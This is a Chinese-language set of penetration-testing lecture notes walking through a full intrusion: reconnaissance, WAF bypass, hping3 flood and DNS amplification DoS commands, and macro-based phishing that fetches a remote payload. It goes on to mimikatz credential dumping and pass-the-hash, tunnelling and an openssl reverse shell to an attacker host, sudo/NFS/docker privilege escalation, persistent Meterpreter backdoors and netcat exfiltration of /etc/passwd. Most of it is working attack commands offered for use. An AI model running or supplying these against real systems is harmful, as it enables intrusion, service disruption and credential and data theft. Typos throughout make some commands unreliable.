渗透测试
渗透开始
Class: IT
Created: November 5, 2022 6:33 PM
Reviewed: No
Type: Lecture
1.信息搜集
-
确认目标
远程信息搜集:
什么样的服务器有入侵价值?
1.上面有有价值的网站
seo.chinaz.com 查看seo信息
权重,ip访问量(cpv,cpa,cps)
2.上面有庞大数据库的服务器
mssql mysql oracle redis.....
3.性能优秀的服务器
高性能的cpu,显卡,硬盘
4.保有某些单位机密的服务器
xxxxxx
-
搜集流程
-
域名收集和真实ip搜集
Dnsenum
https://searchdns.netcraft.com/
谷歌搜素类 site: inurl: filetype: domain:
ping
超级ping:https://ping.chinaz.com/
全球78个地点Ping测试,Ping延时,网络延时测试,全球Ping,Network Ping,全球多节点网络测试,延时测试
http://www.webkaka.com/Ping.aspx
https://site.ip138.com/baidu.com/
https://www.webscan.cc/ C类旁注,就是非目标,但是是同一网段
-
网站扫描
whatweb dirsearch
dirb host -x 后缀 -z 延迟 -i 不区分大小写 /usr/share/wordlists/dirb/big.txt
awvs IBM AppScanv xray Goby
指纹识别
http://whatweb.bugscaner.com/look/
waf指纹识别
wafw00f
nmap www.12306.cn --script=http-waf-detect.nse
-
端口,协议扫描
nping nmap msf(auxiliary)
masscan
-
社工收集
-
-
主动搜集(还可以用NMAP)
nping --tcp -p 80 --flag syn 2 [目标ip]
测试对方的端口是否开放
nc -nvz [目标ip] 1-65535
使用nc查看对方端口是否开放
netdiscover -i eth0 -r 192.168.1.0/24
搜集内网用户的信息
arping [参数] [目标]
- i 指定网卡
- c 发包的数量
- s 源mac
- S 源ip
arping -i eth0 [目标ip]
使用arp扫描
nbtscan
使用netbios协议进行信息搜集
netbios协议就是计算机名-----ip对应地址的解析协议
whatweb http://192.168.1.150
初步分析网站的结构
2.漏洞发掘
3.公网攻击
-
WebAttack
-
WAF绕过
1)特殊字符,fuzz测试
2)编码
3)用百度,谷歌的UA头 user-agent
4)特殊目录添加 admin install
xxx/?id=1 == xxx/admin?id =1
5)multipart
在请求包放一个无害文件,让防火墙误以为你再上传文件
6)参数多个
http://xxxx/?id=1&id=1 union select 在后面放攻击语句
-
-
DDOS
1)HTTPs攻击
2)慢速攻击
apt-get install openssl和libssl-dev和slowhttptest
3)syn flood
syn洪水攻击
git clone
https://github.com/EmreOvunc/Python-SYN-Flood-Attack-Tool.git
4)dns放大攻击
发送给dns服务器数据包94
返回的数据包大小160+
典型的流量放大攻击,以小汇多
利用协议特定进行放大流量
apt-get install dnsutils
dig ANY qq.com @[dns的ip]
利用回包进行攻击
5)hping3
定制发送任何的数据包
- a 伪造源地址
- q 不返回
- n 不解析域名
- s 源端口
- d 字节数
- p 端口
- -flood 以flood形式攻击
syn-flood
hping3 -c 3000 -d 120 -S -w 64 -p 80 --flood --rand-source [目标ip]
hping3 -S -P -p 80 --flood --rand-source [目标ip]
tcp-flood
hping3 -SARUFP -p 80 --flood --rand-source [目标ip]
icmp-flood
hping3 -q -n -a 1.1.1.1 --icmp -d 56 --flood [目标ip]
udp-flood
hping3 -a 1.1.1.1 --udp -s 53 -d 100 -p 53 --flood [目标ip]
LAND
特殊的syn-flood攻击
源地址和目的地址都是受害者,自己和自己完成三次握手
hping3 -n -a [目标ip] -S -d 100 -p 80 --flood [目标ip]
6)TCP全链接DOS攻击
nping --tcp-connect --rate=10000 -c 100000000 -q [目标ip]
-
社工
-
钓鱼
-
Excel宏
msfenvom生成 -f -o xx.msi
放到服务器
Sheet1插入—宏
第一行EXEC(“msiexec /q /i http:\ip\xx.msi”)
第二行HALT()
列名AUTO-OPEN
隐藏
保存启用宏的Excel
-
lnk
cs的powershell脚本
lnk新建绝对地址加脚本参数
修改图标
-
Unicode
aexe.mp3会当成木马
-
word宏
CS word 宏 复制
word 打开宏编辑 复制到相应文档(Microsoft文档对象)
-
-
点劫攻击clickjacking
目标服务器未设置X-Frame-Options header
导致我们自己可以创建一个钓鱼网站,iframe src=目标网站
然后iframe xxx自己的恶意网站(全透明)
也就是一个钓鱼网站直接远程调用别的服务器的页面
例如我的钓鱼网站
<html> <head> <title> 来和鹿鸣Lumi互动吧!!! </title> <head> <style> iframe { width: 1440px; height: 900px; position: absolute; top: 30px; left: 450px; z-index: 2; -moz-opacity: 0; opacity: 0; filter: alpha(opacity=0); } </style> </head> </head> <body> <center> <div> <img src=" https://ss1.bdstatic.com/70cFvXSh_Q1YnxGkpoWK1HF6hhy/it/u=1242777858 ,3501957407&fm=11&gp=0.jpg" height="60%"> <br> <button>点击进行互动</button> </div> </center> <iframe src="https://blog.csdn.net/lady_killer9" scrolling="no"></iframe> </body> </html> 被劫持的界面为csdn的界面
-
4.内网攻击
-
内网信息搜集
whoami /all
ipconfig 获取ip地址信息
ipconfig /all 获取详细的ip地址信息
arp -a 查看arp表
systeminfo 查看操作系统的信息
wmic product 查看安装了什么软件
wmic product get name,version 查看安装的软件和版本信息
wmic startup启动项
wmic startup get command,caption查看启动项的名称和地址
wmic service list brief 将服务信息简单输出
wmic useraccount list brief检查用户
wmic logon list brief 登录用户
wmic qfe 查看补丁
schtasks /query /fo LIST /v 查看计划任务详细信息
schtasks /query /fo list 1>null 查看错误配置的方法
net user 查看本地用户 net localgroup查看用户组 net user user1 /domain
net session 显示本地和远程的会话
net view 查看内网的共享
net statistics workstation 查看电脑登录信息
net share 查看自己共享了什么东西
net time /domain
net group /domain 查看域组net group “domain computers” /domain 查看域其他用户信息net group “domain controllers” /domain
nltest /domain_trusts nltest /DCLIST:test1.com查看域信息
nslookup -qt=[type] [domain]
query user ;; qwinsta 查看现在登录的用户
net config workstation 查看电脑信息
tasklist进程查看 netstat -ano 端口查看
小型主机发现
CMD:for /l %i in (1,1,255) do @ping -w 1 -n 1 192.168.1.%i | findstr “TTL=”
POWERSHELL:for (\(i;\)i -lt 255;$i= \(i +1){ping -w 1 -n 1 192.168.1.\)i}
-
提权
-
UAC
-
令牌窃取
use incognito
list_tokens -u
impersonate_token [TEST1\Administrator]上面显示的其中一个
shell
-
纵向越权
1)migrate [pid]之后会获得该进程对应用户的权限
2)load minikatz
kerberos_ticket_list
kerberos_ticket_use [path]
//获得密码hash run hashdump
add_user [user][passwd] -h [domain_ip]
add_group_user [user]”domain admins” -h [domain_ip]
-
横向越权
前提上面已经完成域管理的添加
cmd:net use \ip\c$ “passwd” /user:user_name
tasklist /S ip /U name /P passwd
copy xx \ip\c$
at \ip 9:51PM cmd.exe /c “command”
-
minikatz
用户信息ntds.dit LMHash or NTLMHash
直接发送到目标机器
mimikatz “privilege::debug” “log” “sekurlsa::logonpasswords”
几种方法会启动一个cmd.exe
mimikatz”privilege::debug” “sekurlsa:pth /user:name /domain:test1.com /ntlm:[hash]”
mimkatz “privilege::debug” “sekurlsa:ekeys” aes256的值
mimikatz ”privilege::debug” “sekurlsa::pth /user:name /domain:test1.com /aes256:[aes256]”
-
票据传递
mimikatz “privilege::debug” “sekurlsa::tickets /export”
mimikatz “kerberos::purge”
mimikatz “sekurlsa::ptt” 票据文件地址”
-
wmic
wmic /node:ip /user:name /password:passwd process call create “cmd.exe /c command”
-
-
代理和隧道
检查代理
env | grep -i proxy
vi /etc/environment
取消代理
unset [TYPE_PROXY]
-
跳板
在meterpreter中
run get_local_subnets
run autoroute -s 192.168.1.0/24
run post/windows/gather/arp_scanner rhosts=192.168.1.0/24
background
run auxiliary/server/socks_proxy
set srvhost 127.0.0.1 set srvport 10044 set version 4a(对应下面的sock4)
vi /etc/proxychains4.conf最后一行
sock4 127.0.0.1 10044 也可以sock5 127.0.0.1 10044 与上面的对应
proxychains [command] 进行代理转发
-
端口转发和端口映射
portfwd flush清理一下
portfwd add -L hackerip -l hackport -p 80 -r 目标主机 转发
portfwd -l hackport -p 3389 -r 目标主机 映射此时可以在本地端口暴力破解
之后可以在命令行rdesktop hacker_ip:port远程连接
-
ssh隧道
将能访问的主机变为自己的一个端口去访问
-
正向
在中间人
ssh -CNfL 0.0.0.0:7777:内网另一台:port root@127.0.0.1
输入中间人的密码
-
反向
中间人
ssh -qTfnN -R 2222:127.0.0.1:22 root@hackerip
将中间人的22转发到hackerip的2222
ssh -qTfnN -R 2222:内网另一台主机:port root@hackip
将内网port转发给hackerip的2222
黑客
ssh -p 2222 root@127.0.0.1
-
socks5代理
ssh -qTfnN -D 7070 root@中间人公网ip
访问 hack7070 输入中间人密码
-
本地转发
ssh -L 7777:内网另一台:port root@中间人 -fN
-
远程转发(反向为了防止防火墙在防御你)
中间人
vi /etc/ssh/ssh_config GatewayPorts yes
systemctl ssh restart
在另一台内网主机(现在已经打下来)
ssh -R 8877:内网主机ip:port root@中间人公网ip
-
-
openssl
hacker
openssl req -x509 -newkey rsa:4096 -keyout key.prem -out cert.pem
-days 365 -nodes
openssl s_server -quiet -key key.prem -cert cert.prem
mkfifo /tmp/s;/bin/sh -i </tmp/s 2&>1 | openssl s_client -quiet -connect hackip:port >/tmp/s; rm -f /tmp/s
-
netsh(windows)
正向
中间人 netsh interface proxyport add listenport=7777 v4tov4
connectaddress=内网其他ip connectport=内网port
netsh interface proxyport show all
netsh interface proxyport reset
反向
内网其他主机中的木马反向连接到中间人的ip端口
netsh interface proxyport add listenport=7777 v4tov4 connectaddress=hackip connectport=hackport
-
neo-regreg
python neoreg.py generate -k [mima]会生成一些php jsp脚本
传到中间人网站
python neoreg.py -u http://中间人中的脚本 -k [mima]
-
earthworm
正向
./ew -s ssocked -l 7777
中间人
./ew -s rcsocks -l 7777 -e 1028
内网其他
./ew -s rssocks -d 中间人ip -e 1028
-
ptunnel
icmp
hacker
ptunnel -x 1234
中间人
ptunnel -p hack -lp hackport -da 内网其他主机 -dp port -x 1234
-
dns2tcp
都是linux现将双方的hosts文件添加中间人的ip 和随便域名
中间人
vi /etc/dns2tcpd.conf
user=root 加入key=1234
把listen和domain 0.0.0.0 和上面的域名
dns2tcpd -f /etc/dns2tcpd.conf -F -d 3
出错
systemctl stop systemd-resolved
hack
dns2tcpc -r ssh -k 1234 -z domain ip -l 8888-c -d 3
ssh -p 8888 ip
-
frp
中间人
vi frps frps.ini
添加一个token=1234
frps -c frps.ini
内网其他
打开frpc.ini
server_addr改为hacker
后面按需求改
格式[名称]参数1=val1 …
frpc -c frpc.ini
-
-
其他方法
certutil -urlcache -split -f “ http://ip/file ” [file_path]
5.维持权限
-
提权
-
MSF
use exploit/windows/local/ask
set session set filename QQ.exe 向用户弹出QQ运行请求(伪装成QQ)
-
Linux提权
ash
sudo ash
awk
sudo awk 'BEGIN {system("/bin/sh")}'
bash
sudo bash
csh
sudo csh
curl
sudo curl file:///etc/shadow
dash
sudo dash
ed
sudo ed
!/bin/sh
env
sudo env /bin/sh
expect
sudo expect -c 'spawn /bin/sh;interact'
find
sudo find . -exec /bin/sh ; -quit
ftp
sudo ftp
!/bin/sh
less
sudo less /etc/passwd
!/bin/sh
more
sudo more /etc/passwd
!/bin/sh
man
sudo man man
!/bin/sh
socat
sodu socat stdin exec:/bin/sh
ssh
sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x
vi
sudo vi -c ':!/bin/sh' /dev/null
zsh
sudo zsh
pico
sudo pico
RX
reset; sh 1>&0 2>&0
rvim
sudo rvim -c ':python3 import os; os.execl("/bin/sh","sh","-c","reset; exec sh")'
perl
sudo perl -e 'exec "/bin/sh";'
tclsh
sudo tclsh
exec /bin/sh <@stdin >@stdout 2>@stderr
git
sudo git -p help config
!/bin/sh
script
sudo script -q /dev/null
taskset
taskset 1 /bin/sh -p
tar命令注入
find / -name "." -type f -path "/home/" -exec ls -al {} ; 2>/dev/null
发现/home/susan/.secret
之后可以看到susan的密码
su susan就可以切换到susan的权限
SID提权
find / -perm -4000 -type f -exec ls -la {} ; 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
可以看到
/usr/bin/xxd
xxd /etc/shadow | xxd -r
可以看到密码/etc/shadow的加密密码,复制root那一条保存为pass.txt
john [—format=crypt] pass.txt -w=/usr/share/wordlists/rockyou.txt
发现密码是root---secret123
==================
NFS提权
kali
nmap 192.168.87.134扫描目标服务器端口
发现2049端口,这个是nfs端口
showmount -e 192.168.87.134
发现
/home/peter的目录是开放的
cd /tmp
mkdir nfs
mount -t nfs 192.168.87.134:/home/peter /tmp/nfs/
ls -la /tmp/nfs/ 可以看到目标peter上的文件夹
cp /bin/bash /tmp/nfs/ 发现权限不够
此时需要在kali上面伪造一个和目标一模一样的peter
groupadd -g 1005 peter
adduser peter -uid 1001 -gid 1005
cd /tmp/nfs/
su peter 转化到kali的peter上
mkdir .ssh 在目标peter的共享文件夹上创建一个.ssh文件夹,为以后使用ssh去连接他做准备
cd ~ 进入kali的peter的文件夹
ssh-keygen 生成ssh的key(如果有选项,都选默认即可)
cd /tmp/nfs/
cat ~/.ssh/id_rsa.pub > ./.ssh/authorized_keys 把kali的peter的ssh密钥复制到目标peter的.ssh文件夹中
cd ~/.ssh
之后回到kali的peter的.ssh文件夹
ssh -i id_rsa peter@192.168.87.134 此时就可以免密码登录到目标的peter
sudo -l 查看能使用什么命令
发现strace可以无密码使用
sudo strace -o /dev/null /bin/sh
docker提权
docker --version
docker run -v /:/hostOS -i -t chrisfosterelli/rootplease
===================
-
-
后门
永久后门植入
meterpreter shell 运行是在内存里的,重启消失,所以需要植入后门
卸载对方的补丁
给对方安装一些有漏洞的软件(比如说ftp程序,输入法。。。。)
msf永久后门
run metsvc -A 设置端口上传后门文件
会开启一个31337端口
jobs可以看到metsvc_bind_tcp
连接
use exploit/multi/handler
set payload windows/metsvc_bind_tcp
set rhost [目标ip]
set lport 31337
exploit
植入启动型后门
在session中
run persistence -A -S -U -i 10 -p 4321 -r [自己ip]
或者
run persistence -X -i 10 -p 4321 -r [自己ip] (成功率高)
6.隐藏踪迹
-
加密通信
linux加密传输
目标:
cat /etc/passwd | base64 | nc -nv [黑客ip] 3333 -q 1
黑客:
nc -l -p 3333 > kali.txt
传输文件
目标:
nc -nv [黑客ip] 3333 < [要传的文件] -q 1
黑客:
nc -lp 3333 > xx.txt
两台都是Linux的情况
目标:
whois -h [黑客ip] -p 4444
cat /etc/passwd | base64黑客:
nc -l -v -p 4444 | sed "s/ //g" | base64 -d
两台都是linux,并且要加密通信
nc的加密版ncat
目标:
ncat -c bash --allow [黑客ip] -vnl 3333 --ssl 只允许黑客的ip去控制它
黑客:
nc -nv [目标ip] 3333 --ssl

浙公网安备 33010602011771号